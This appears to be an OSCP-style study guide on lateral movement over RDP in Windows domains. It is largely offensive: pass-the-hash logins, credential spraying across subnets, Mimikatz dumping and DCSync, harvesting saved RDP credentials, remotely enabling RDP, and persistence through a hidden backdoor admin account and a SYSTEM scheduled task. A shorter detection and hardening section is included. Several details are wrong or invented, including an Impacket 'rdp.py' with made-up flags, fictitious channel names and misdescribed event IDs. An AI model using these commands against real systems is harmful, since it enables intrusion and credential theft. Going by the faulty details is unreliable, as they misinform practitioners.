RDP Lateral Movement
Table of Contents
- RDP Protocol Overview
- Prerequisites for RDP Access
- Adding Users to RDP Groups
- RDP Client Tools
- RDP Credential Harvesting
- Advanced RDP Features
- Detection and Mitigation
- Common Pitfalls and Troubleshooting
- OSCP Exam Tips
RDP Protocol Overview
What is RDP?
Remote Desktop Protocol (RDP) is a proprietary multi-channel protocol developed by Microsoft that provides a user with a graphical interface to connect to another computer over a network connection. It is the primary remote access technology used in Windows environments and is a critical lateral movement vector in Active Directory.
Protocol Details
| Property | Value |
|---|---|
| Default Port | TCP 3389 |
| Protocol | TCP (with TLS encryption) |
| Encryption | TLS 1.0/1.1/1.2 (negotiated) |
| Authentication | NLA (Network Level Authentication) or RDP Authentication |
| Compression | Yes (H.264/AVC for video) |
| Max Sessions | Configurable (default: unlimited concurrent) |
NLA (Network Level Authentication)
NLA is a security feature that requires user authentication before a full RDP session is established. This is the default on modern Windows systems (Windows Vista SP1 and later).
How NLA works:
- Client initiates connection to port 3389
- Server challenges the client for credentials (CredSSP protocol)
- Credentials are validated against the local SAM or domain controller
- Only if authentication succeeds does the full RDP session establish
- If authentication fails, no RDP session is created
Impact on attackers:
- NLA prevents casual scanning and brute-forcing (no full session on failure)
- Credentials MUST be provided before connection
- Cannot bypass NLA without valid credentials
- NLA uses CredSSP, which does NOT forward Kerberos tickets (unlike WDigest)
Checking if NLA is enabled:
# From a Windows host
Get-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -Name 'UserAuthentication'
# Value 1 = NLA enabled, Value 0 = NLA disabled
# Via registry directly
reg query "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication
Disabling NLA (as admin on target):
# PowerShell
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -Name 'UserAuthentication' -Value 0
# netsh
netsh.exe firewall set service remoteadmin enable
Note: Disabling NLA is rarely needed for lateral movement since you typically have credentials. It mainly matters for initial access scenarios.
RDP Security Channels
RDP uses multiple virtual channels for different purposes:
| Channel | Purpose |
|---|---|
| RDPCORE | Core RDP protocol (display, input) |
| CLIPRDR | Clipboard redirection |
| DRDYNVC | Dynamic virtual channels |
| RDPEUS | User experience virtual channel |
| MS_T120 | Microsoft TS 120 codec |
| MS_RDPDR | Device redirection |
| MS_RDPFG | Drive redirection |
These channels can be exploited for data exfiltration (clipboard, drive redirection) or tool transfer.
Prerequisites for RDP Access
To successfully RDP into a Windows host, ALL of the following must be true:
1. RDP Service Must Be Running
# Check if RDP is enabled
Get-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -Name 'fDenyTSConnections'
# Value 0 = RDP enabled, Value 1 = RDP disabled
# Check if the service is running
Get-Service -Name TermService | Select-Object Name, Status, StartType
2. Valid Credentials
- Local account credentials (if logging into a workstation/server locally)
- Domain account credentials (if logging into a domain-joined machine)
- The account must NOT be locked out
- The account password must meet complexity requirements
3. Group Membership
The account must be a member of one of the following groups on the target host:
| Group | Scope | Default Members |
|---|---|---|
| Remote Desktop Users | Local | Administrators (by default) |
| Administrators | Local/Domain | Domain Admins, local admins |
| Remote Management Users | Local | Performance Monitor Users |
Key Point: By default, only members of the local Administrators group can RDP. Standard domain users are NOT in the “Remote Desktop Users” group by default on most systems.
4. Firewall Rules
# Check if RDP firewall rule exists
Get-NetFirewallRule -DisplayName "*Remote Desktop*" | Select-Object DisplayName, Enabled, Direction
# The rule should allow inbound TCP 3389
5. Account Restrictions
The account must NOT have any of these restrictions:
- Logon Hours restriction blocking current time
- Allowed To Log On Locally/RDP Group Policy restriction
- Account disabled or locked out
- Password expired
Adding Users to RDP Groups
Method 1: net localgroup Command
# Add a domain user to Remote Desktop Users
net localgroup "Remote Desktop Users" DOMAIN\username /add
# Add a local user
net localgroup "Remote Desktop Users" username /add
# Verify membership
net localgroup "Remote Desktop Users"
# Remove a user
net localgroup "Remote Desktop Users" DOMAIN\username /delete
Method 2: PowerShell
# Add user to Remote Desktop Users group
Add-LocalGroupMember -Group "Remote Desktop Users" -Member "DOMAIN\username"
# Alternative using .NET
$group = [ADSI]"WinNT://./Remote Desktop Users,group"
$group.Add("WinNT://DOMAIN/username,user")
# Verify
Get-LocalGroupMember -Group "Remote Desktop Users" | Select-Object Name, ObjectClass
# Enable RDP and add user in one go
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -Name 'fDenyTSConnections' -Value 0
Add-LocalGroupMember -Group "Remote Desktop Users" -Member "DOMAIN\username"
Method 3: Group Policy (Domain-wide)
# Via Group Policy - "Allow log on through Remote Desktop Services"
# Path: Computer Configuration -> Policies -> Windows Settings -> Security Settings
# -> Local Policies -> User Rights Assignment
# Using gpupdate after policy change
gpupdate /force
Method 4: Remote Group Addition (with admin rights)
# From another machine with admin access to the target
net localgroup "Remote Desktop Users" DOMAIN\username /add /server:TARGET_HOST
# Using PowerShell remoting
Invoke-Command -ComputerName TARGET_HOST -ScriptBlock {
Add-LocalGroupMember -Group "Remote Desktop Users" -Member "DOMAIN\username"
} -Credential $adminCred
Mass Enable RDP via PowerShell
# Enable RDP on multiple targets
$targets = Get-Content targets.txt
foreach ($target in $targets) {
try {
Invoke-Command -ComputerName $target -ScriptBlock {
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' `
-Name 'fDenyTSConnections' -Value 0
netsh advfirewall firewall set rule group="remote desktop" new enable=yes
} -Credential $cred -ErrorAction Stop
Write-Host "[+] RDP enabled on $target" -ForegroundColor Green
} catch {
Write-Host "[-] Failed on $target : $_" -ForegroundColor Red
}
}
RDP Client Tools
Tool Comparison
| Tool | Platform | Interactive | Scriptable | Credential Support | Best For |
|---|---|---|---|---|---|
| xfreerdp | Linux/Win/macOS | Yes | Yes | Password, Kerberos, Smartcard | Kali/attack box |
| MSTSC | Windows | Yes | Limited | Windows auth, saved creds | Windows boxes |
| Impacket rdp.py | Cross-platform | No (check only) | Yes | Password, hash | Recon/enumeration |
| CrackMapExec | Cross-platform | No | Yes | Password, hash, Kerberos | Mass enumeration |
| FreeRDP (GUI) | Linux | Yes | No | Password | Desktop Linux use |
xfreerdp (Primary Tool on Kali)
xfreerdp is the command-line client from the FreeRDP project. It is the most commonly used RDP tool during OSCP exams.
Basic Syntax
xfreerdp [options] /v:TARGET
Common Options
| Option | Description | Example |
|---|---|---|
/v:TARGET |
Target host (IP or hostname) | /v:10.10.10.10 |
/u:USER |
Username | /u:admin |
/p:PASS |
Password | /p:Password123! |
/d:DOMAIN |
Domain name | /d:OFFENSE |
/cert-ignore |
Ignore certificate errors | Always use in labs |
/dynamic-resolution |
Auto-resize window | Recommended |
/w:WIDTH |
Window width | /w:1280 |
/h:HEIGHT |
Window height | /h:720 |
/tls-security:fb |
Force TLS security | For NLA issues |
/sound:sys:ALSA |
Audio redirection | Optional |
/drive:NAME,PATH |
Drive redirection | /drive:share,/tmp |
/clipboard |
Enable clipboard | Recommended |
/rfx |
RemoteFX codec | Better performance |
/compression:off |
Disable compression | Faster in labs |
Practical Commands
# Basic RDP with domain credentials
xfreerdp /v:10.10.10.10 /u:admin /p:Password123! /d:OFFENSE /cert-ignore
# With dynamic resolution and clipboard
xfreerdp /v:10.10.10.10 /u:admin /p:Password123! /d:OFFENSE /cert-ignore /dynamic-resolution /clipboard
# Full-screen mode
xfreerdp /v:10.10.10.10 /u:admin /p:Password123! /d:OFFENSE /cert-ignore /f
# Specific resolution
xfreerdp /v:10.10.10.10 /u:admin /p:Password123! /d:OFFENSE /cert-ignore /w:1920 /h:1080
# Using username without domain (local account)
xfreerdp /v:10.10.10.10 /u:TARGET\localadmin /p:Password123! /cert-ignore
# Using NTLM hash (pass-the-hash)
xfreerdp /v:10.10.10.10 /u:admin /d:OFFENSE /pth:aad3b435b51404eeaad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99 /cert-ignore
# Kerberos authentication
export KRB5CCNAME=/tmp/krb5cc_user
xfreerdp /v:10.10.10.10 /u:admin /d:OFFENSE /cert-ignore /tls-security:fb
# With drive redirection (mount remote share)
xfreerdp /v:10.10.10.10 /u:admin /p:Password123! /d:OFFENSE /cert-ignore /drive:tools,/home/kali/tools
# Minimal connection (fastest)
xfreerdp /v:10.10.10.10 /u:admin /p:Password123! /d:OFFENSE /cert-ignore /dynamic-resolution /clipboard /compression:off
xfreerdp Authentication Methods
# Password authentication (most common)
xfreerdp /v:TARGET /u:USER /p:PASS /d:DOMAIN /cert-ignore
# Prompt for password (not stored in history)
xfreerdp /v:TARGET /u:USER /d:DOMAIN /cert-ignore
# Smart card authentication
xfreerdp /v:TARGET /sec:rdp /cert-ignore
# Negotiate authentication
xfreerdp /v:TARGET /u:USER /p:PASS /d:DOMAIN /sec:nla /cert-ignore
MSTSC (Windows Remote Desktop Connection)
MSTSC is the built-in Windows RDP client. Use it when attacking from a Windows machine.
Basic Usage
# Launch MSTSC
mstsc
# Connect to specific host
mstsc /v:10.10.10.10
# Full-screen mode
mstsc /v:10.10.10.10 /f
# Admin console session (requires admin creds)
mstsc /v:10.10.10.10 /admin
# With console session (older syntax)
mstsc /v:10.10.10.10 /console
MSTSC RDP File Configuration
Create a .rdp file for saved connections:
# connection.rdp
screen mode id:i:2
use multimon:i:0
desktopwidth:i:1920
desktopheight:i:1080
session bpp:i:32
winposstr:s:0,1,80,80,1000,700
compression:i:1
keyboardhook:i:2
audiocapturemode:i:0
videoplaybackmode:i:1
connection type:i:7
networkautodetect:i:1
bandwidthautodetect:i:1
displayconnectionbar:i:1
enableworkspacereconnect:i:0
disable wallpaper:i:0
allow font smoothing:i:1
allow desktop composition:i:1
disable full window drag:i:0
disable menu anims:i:0
disable themes:i:0
disable cursor setting:i:0
bitmapcachepersistenable:i:1
full address:s:10.10.10.10
audiomode:i:0
redirectprinters:i:1
redirectcomports:i:0
redirectsmartcards:i:0
redirectclipboard:i:1
redirectposdevices:i:0
autoreconnection enabled:i:1
authentication level:i:2
prompt for credentials:i:0
negotiate security layer:i:1
remoteapplicationmode:i:0
alternate shell:s:
shell working directory:s:
gatewayhostname:s:
gatewayusagemethod:i:4
gatewaycredentialssource:i:4
gatewayprofileusagemethod:i:0
promptcredentialonce:i:0
gatewaybrokeringtype:i:0
use redirection server name:i:0
rdgiskrredrallowed:i:1
drivestoredirect:s:
# Launch with RDP file
mstsc connection.rdp
Automating MSTSC with Credentials
# Create RDP file and auto-connect
$rdpContent = @"
full address:s:10.10.10.10
prompt for credentials:i:1
"@
$rdpContent | Out-File -FilePath "C:\temp\connect.rdp" -Encoding ASCII
Start-Process mstsc -ArgumentList "C:\temp\connect.rdp"
Impacket rdp.py
Impacket’s rdp.py is primarily used for checking RDP availability and enumerating RDP access – not for interactive sessions.
# Check if RDP is enabled on a target
python3 rdp.py -rpc-auth-level '2' OFFENSE/admin:Password123@10.10.10.10
# Check RDP with hash
python3 rdp.py -rpc-auth-level '2' OFFENSE/admin:hash@10.10.10.10
# Check if user can RDP (checks group membership)
python3 rdp.py -rpc-auth-level '2' -target-ip 10.10.10.10 OFFENSE/admin:Password123@10.10.10.10
Note:
rdp.pychecks if RDP is enabled and if the user has permission, but does NOT launch an interactive session. Use it for reconnaissance before attempting actual RDP connections.
CrackMapExec RDP Enumeration
CrackMapExec can enumerate RDP access across multiple hosts:
# Basic RDP check
crackmapexec rdp 10.10.10.0/24 -u admin -p 'Password123!'
# With domain
crackmapexec rdp 10.10.10.0/24 -u admin -p 'Password123!' -d OFFENSE
# Using credential file
crackmapexec rdp 10.10.10.0/24 -u users.txt -p passwords.txt -d OFFENSE
# Using Kerberos (no password needed)
crackmapexec rdp 10.10.10.0/24 -u admin --kdcHost 10.10.10.1 -d OFFENSE
# Check specific host
crackmapexec rdp 10.10.10.10 -u admin -p 'Password123!' -d OFFENSE
# With hash (pass-the-hash)
crackmapexec rdp 10.10.10.10 -u admin -H 'NTLMHASH' -d OFFENSE
# Output results
crackmapexec rdp 10.10.10.0/24 -u admin -p 'Password123!' -d OFFENSE --continue-on-success
Sample CME RDP Output:
rdp 10.10.10.10 3389 WIN10 * admin Password123! True RDP is enabled
rdp 10.10.10.20 3389 WIN-SRV * admin Password123! False RDP is disabled
rdp 10.10.10.30 3389 DC01 OFFENSE admin Password123! True RDP is enabled
RDP Credential Harvesting
When you compromise a Windows host, you can harvest RDP credentials for lateral movement.
Method 1: Saved RDP Credentials in Registry
# Check for saved RDP credentials
reg query "HKCU\Software\Microsoft\Terminal Server Client\Default" /v UsernameHint
reg query "HKCU\Software\Microsoft\Terminal Server Client\Default" /v Username
# Check all server entries
reg query "HKCU\Software\Microsoft\Terminal Server Client" /s
# Check for saved servers
reg query "HKCU\Software\Microsoft\Terminal Server Client\Default" /v MRU0
reg query "HKCU\Software\Microsoft\Terminal Server Client\Default" /v MRU1
reg query "HKCU\Software\Terminal Server Client\Default" /v MRU2
reg query "HKCU\Software\Microsoft\Terminal Server Client\Default" /v MRU3
Method 2: RDP Files on Disk
# Search for .rdp files that may contain credentials
Get-ChildItem -Path C:\ -Recurse -Filter "*.rdp" -ErrorAction SilentlyContinue | Select-Object FullName
# Check content of RDP files for embedded credentials
Get-Content "C:\Users\user\Desktop\server.rdp" | Select-String "username"
Method 3: Windows Credential Manager
# Using cmdkey to list saved credentials
cmdkey /list
# Output shows:
# Target: Terminateserver:10.10.10.10
# Type: Generic
# User: TERMSRV\10.10.10.10\administrator
Method 4: Mimikatz DCSync and Credential Dump
# From Mimikatz
mimikatz # sekurlsa::logonpasswords
mimikatz # sekurlsa::tickets /export
mimikatz # lsadump::sam
mimikatz # lsadump::dcsync /domain:OFFENSE.local /user:Administrator
Method 5: RDP Session Credential Extraction
# Extract credentials from running RDP sessions
# Check for tsuser_*.rdp files in temp
Get-ChildItem "$env:TEMP" -Filter "tsuser_*" -ErrorAction SilentlyContinue
# Check AppData for RDP cache
Get-ChildItem "$env:APPDATA\Microsoft\Windows\INetCache" -Recurse -ErrorAction SilentlyContinue
Method 6: Browser-Saved RDP Gateway Credentials
# Check for RDP Gateway credentials in browser storage
# Chrome/Edge
Get-ChildItem "$env:LOCALAPPDATA\Google\Chrome\User Data\Default" -Recurse -ErrorAction SilentlyContinue
# Check Windows Credential Manager via PowerShell
cmdkey /list
Harvesting Workflow
# Complete credential harvesting workflow on compromised Windows host
# Step 1: Check saved RDP targets
reg query "HKCU\Software\Microsoft\Terminal Server Client\Default" /v MRU0
reg query "HKCU\Software\Microsoft\Terminal Server Client\Default" /v MRU1
reg query "HKCU\Software\Microsoft\Terminal Server Client\Default" /v MRU2
reg query "HKCU\Software\Microsoft\Terminal Server Client\Default" /v MRU3
# Step 2: Check for username hints
reg query "HKCU\Software\Microsoft\Terminal Server Client\Default" /v UsernameHint
# Step 3: List Windows credentials
cmdkey /list
# Step 4: Search for RDP files
Get-ChildItem C:\Users -Recurse -Filter "*.rdp" -ErrorAction SilentlyContinue
# Step 5: Dump memory credentials (if admin)
# Use Mimikatz or similar tool
Advanced RDP Features
Restricted Admin Mode
Restricted Admin Mode prevents credential forwarding during RDP sessions. When enabled, the client does NOT send the full credential to the remote host.
How It Works
- Client uses a Kerberos ticket for authentication
- A one-time password is generated for the RDP session
- The remote host cannot extract the user’s actual password
- Prevents pass-the-hash from the RDP session
Enabling Restricted Admin Mode
# Via Registry
New-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services' `
-Name 'RestrictRemoteAdmin' -Value 2 -PropertyType DWord -Force
# Value 1 = Enabled (with warning)
# Value 2 = Enabled (without warning)
# Via Group Policy
# Computer Configuration -> Policies -> Administrative Templates
# -> Windows Components -> Remote Desktop Services -> Remote Desktop Session Host
# -> Security -> "Require Restricted Admin mode"
Connecting in Restricted Admin Mode
# From Windows client
mstsc /restrictedAdmin
# Or set the registry on the client side
New-ItemProperty -Path 'HKCU:\Software\Microsoft\Terminal Server Client' `
-Name 'RestrictRemoteAdmin' -Value 1 -PropertyType DWord -Force
Remote Desktop Gateway (RDG)
RDG allows RDP connections through a single gateway server, useful for accessing internal hosts from external networks.
RDG Architecture
[External User] --> [RDG Server:443] --> [Internal Host:3389]
Connecting Through RDG
# xfreerdp with gateway
xfreerdp /v:INTERNAL_HOST /u:USER /p:PASS /d:DOMAIN `
/g:GATEWAY_HOST /gu:DOMAIN\USER /gp:PASS /cert-ignore
# MSTSC with gateway
# In MSTSC: Experience tab -> Settings -> Use RD Gateway
# Gateway server: GATEWAY_HOST
# Credentials: Use my credentials for both
RDG Bypass Considerations
- RDG typically runs on port 443 (HTTPS)
- Bypassing RDG requires direct network access to internal hosts
- If you compromise the RDG server, you may access all backend hosts
- Check RDG configuration for backend host permissions
RDP Session Persistence
# Create scheduled task for persistent RDP access
schtasks /create /tn "RDPHelper" /tr "cmd /c net localgroup `\"Remote Desktop Users`" ATTACKER /add" /sc daily /st 00:00 /ru SYSTEM
# Create hidden local admin account
net user backdoor P@ssw0rd123! /add
net localgroup Administrators backdoor /add
net localgroup "Remote Desktop Users" backdoor /add
RDP over SSH Tunnel
# Create SSH tunnel to RDP port
ssh -L 3389:INTERNAL_HOST:3389 user@jump_box
# Then connect locally
xfreerdp /v:127.0.0.1 /u:USER /p:PASS /cert-ignore
Detection and Mitigation
Detection Indicators
Windows Event Logs
| Event ID | Source | Description | Detection Value |
|---|---|---|---|
| 4624 | Security | Successful logon | Logon Type 10 = RDP |
| 4625 | Security | Failed logon | Logon Type 10 = RDP failure |
| 4778 | Security | Session locked | RDP session locked |
| 4779 | Security | Session unlocked | RDP session unlocked |
| 4647 | Security | User initiated logoff | RDP session ended |
| 21 | TerminalServices-RemoteConnectionManager | RDP connection attempt | New connection attempt |
| 22 | TerminalServices-RemoteConnectionManager | RDP connection success | Successful RDP connection |
| 23 | TerminalServices-RemoteConnectionManager | RDP disconnection | RDP session ended |
| 24 | TerminalServices-RemoteConnectionManager | RDP reconnection | RDP reconnection attempt |
| 25 | TerminalServices-RemoteConnectionManager | RDP disconnection (user) | User-initiated disconnect |
| 4634 | Security | Network logoff | RDP session ended |
| 4647 | Security | Logoff initiated | User logged off RDP |
Key Detection Queries
# Find all successful RDP logons
Get-WinEvent -FilterHashtable @{
LogName='Security'
ID=4624
} | Where-Object { $_.Properties[8].Value -eq 10 } |
Select-Object TimeCreated,
@{N='User';E={$_.Properties[5].Value}},
@{N='SourceIP';E={$_.Properties[18].Value}}
# Find failed RDP logons (brute force detection)
Get-WinEvent -FilterHashtable @{
LogName='Security'
ID=4625
} | Where-Object { $_.Properties[8].Value -eq 10 } |
Select-Object TimeCreated,
@{N='User';E={$_.Properties[5].Value}},
@{N='SourceIP';E={$_.Properties[18].Value}}
# RDP-specific events
Get-WinEvent -LogName "Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational"
Network Detection
| Indicator | Description |
|---|---|
| Inbound TCP 3389 | RDP connection attempt |
| CredSSP traffic on 3389 | NLA authentication |
| Multiple failed 3389 connections | Brute force attempt |
| RDP from unusual source | Lateral movement indicator |
| RDP to multiple hosts | Sweep/lateral movement |
Mitigation Strategies
1. Network-Level Controls
# Restrict RDP to specific subnets via firewall
New-NetFirewallRule -DisplayName "RDP Restricted" `
-Direction Inbound -Protocol TCP -LocalPort 3389 `
-RemoteAddress 10.10.10.0/24 -Action Allow
# Block RDP from external networks
New-NetFirewallRule -DisplayName "Block External RDP" `
-Direction Inbound -Protocol TCP -LocalPort 3389 `
-RemoteAddress Any -Action Block
2. Account-Level Controls
- Use Restricted Admin Mode to prevent credential forwarding
- Implement Just-In-Time (JIT) admin access
- Remove users from “Remote Desktop Users” when not needed
- Use group policy to control RDP access centrally
3. Authentication Hardening
# Enable NLA (should be default)
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' `
-Name 'UserAuthentication' -Value 1
# Enforce strong encryption
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' `
-Name 'MinEncryptionLevel' -Value 3 # FIPS encryption
4. Monitoring and Alerting
- Alert on Event ID 4624 with Logon Type 10 from unusual sources
- Alert on multiple Event ID 4625 (failed RDP) in short time
- Monitor Event ID 4732 (user added to local group) for “Remote Desktop Users”
- Track RDP session duration anomalies
5. Network Segmentation
- Place RDP-accessible hosts in a separate VLAN
- Use RDG for all external RDP access
- Implement jump boxes/bastion hosts
- Use VPN for remote access instead of direct RDP
Common Pitfalls and Troubleshooting
Problem: “Connection Denied”
# Cause 1: User not in Remote Desktop Users group
# Fix: Add user to group (requires admin on target)
net localgroup "Remote Desktop Users" DOMAIN\user /add
# Cause 2: RDP disabled on target
# Fix: Enable RDP remotely
Invoke-Command -ComputerName TARGET -ScriptBlock {
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' `
-Name 'fDenyTSConnections' -Value 0
}
# Cause 3: Firewall blocking port 3389
# Fix: Open firewall rule
netsh advfirewall firewall set rule group="remote desktop" new enable=yes
Problem: “Certificate Error”
# Always use /cert-ignore in lab environments
xfreerdp /v:TARGET /u:USER /p:PASS /cert-ignore
# If still failing, try different security mode
xfreerdp /v:TARGET /u:USER /p:PASS /sec:rdp /cert-ignore
Problem: “Authentication Failed”
# Check if account is locked
net user USERNAME /domain
# Check domain name format
xfreerdp /v:TARGET /u:DOMAIN\USER /p:PASS /cert-ignore
# OR
xfreerdp /v:TARGET /u:USER /d:DOMAIN /p:PASS /cert-ignore
# Check if NLA is causing issues
xfreerdp /v:TARGET /u:USER /p:PASS /sec:rdp /cert-ignore
Problem: xfreerdp Crashes or Freezes
# Try with reduced features
xfreerdp /v:TARGET /u:USER /p:PASS /cert-ignore /dynamic-resolution /compression:off
# Try different codec
xfreerdp /v:TARGET /u:USER /p:PASS /cert-ignore /rfx
# Try without clipboard
xfreerdp /v:TARGET /u:USER /p:PASS /cert-ignore
# Try with explicit resolution
xfreerdp /v:TARGET /u:USER /p:PASS /cert-ignore /w:1024 /h:768
Problem: Black Screen After Connection
# Try console session
xfreerdp /v:TARGET /u:USER /p:PASS /cert-ignore /dynamic-resolution
# Check if another user is logged in
# RDP may show "console" session if user is active locally
# Try MSTSC /admin from Windows
mstsc /v:TARGET /admin
Problem: Password Contains Special Characters
# Escape special characters in bash
xfreerdp /v:TARGET /u:USER /p:'Pass@word!123' /cert-ignore
# Or use single quotes around the password
xfreerdp /v:TARGET /u:USER /p:'P@$$w0rd!' /cert-ignore
# Prompt for password instead
xfreerdp /v:TARGET /u:USER /cert-ignore
OSCP Exam Tips
Must-Know Commands
# The one command you MUST memorize:
xfreerdp /v:TARGET_IP /u:USERNAME /p:PASSWORD /d:DOMAIN /cert-ignore
# With dynamic resolution (recommended):
xfreerdp /v:TARGET_IP /u:USERNAME /p:PASSWORD /d:DOMAIN /cert-ignore /dynamic-resolution
Exam Workflow
- Identify RDP target – Look for open port 3389 in Nmap scan
- Verify credentials – Use harvested or cracked credentials
- Check group membership – Ensure user is in “Remote Desktop Users” or “Administrators”
- Connect – Use xfreerdp with
/cert-ignore - Enumerate – Once connected, check for local admin, other credentials, next targets
Common Exam Scenarios
Scenario 1: RDP with harvested credentials
# You find credentials in a file on a compromised host
# Use them to RDP to another machine
cat /home/kali/creds.txt
# admin:Password123!
xfreerdp /v:10.10.10.20 /u:admin /p:'Password123!' /d:OFFENSE /cert-ignore /dynamic-resolution
Scenario 2: Enable RDP then connect
# RDP is not enabled, but you have admin creds via SMB
# Enable RDP remotely, then connect
# Step 1: Enable RDP via PowerShell remoting or SMB
crackmapexec smb 10.10.10.20 -u admin -p 'Password123!' -x 'whoami'
# Step 2: Use wmiexec to enable RDP
python3 wmiexec.py OFFENSE/admin:'Password123!'@10.10.10.20 "reg add HKLM\\System\\CurrentControlSet\\Control\\Terminal Server /v fDenyTSConnections /t REG_DWORD /d 0 /f"
# Step 3: Add user to RDP group
python3 wmiexec.py OFFENSE/admin:'Password123!'@10.10.10.20 'net localgroup "Remote Desktop Users" admin /add'
# Step 4: RDP in
xfreerdp /v:10.10.10.20 /u:admin /p:'Password123!' /d:OFFENSE /cert-ignore
Scenario 3: RDP to Domain Controller
# DCs often have RDP enabled for admin access
# Use domain admin credentials
xfreerdp /v:10.10.10.10 /u:Administrator /p:'Password123!' /d:OFFENSE /cert-ignore
# Once on DC, you can:
# - Enumerate domain users
# - Extract credentials
# - Perform DCSync
# - Access other domain resources
Quick Reference Card
┌─────────────────────────────────────────────────────────┐
│ RDP LATERAL MOVEMENT CHEAT SHEET │
├─────────────────────────────────────────────────────────┤
│ Port: 3389 │
│ │
│ Basic Connection: │
│ xfreerdp /v:IP /u:USER /p:PASS /d:DOMAIN /cert-ignore │
│ │
│ With Dynamic Resolution: │
│ ... /dynamic-resolution /clipboard │
│ │
│ Pass-the-Hash: │
│ ... /pth:LM:NTLM │
│ │
│ Check RDP Access: │
│ crackmapexec rdp IP -u USER -p PASS -d DOMAIN │
│ │
│ Add to RDP Group: │
│ net localgroup "Remote Desktop Users" USER /add │
│ │
│ Enable RDP: │
│ reg add HKLM\...\Terminal Server /v fDenyTSConnections │
│ /t REG_DWORD /d 0 /f │
│ │
│ Event ID for Detection: 4624 (Logon Type 10) │
└─────────────────────────────────────────────────────────┘
Key Takeaways
- Always use
/cert-ignore– Lab certificates are self-signed - Always use
/dynamic-resolution– Better UX in exam environment - RDP requires group membership – “Remote Desktop Users” or “Administrators”
- NLA is default – You need valid credentials before connection
- Harvest RDP targets – Check registry for MRU connections
- Event ID 4624 Type 10 – Primary detection indicator
- Restricted Admin Mode – Prevents credential forwarding (defense)
- RDP files may contain creds – Search for
.rdpfiles on compromised hosts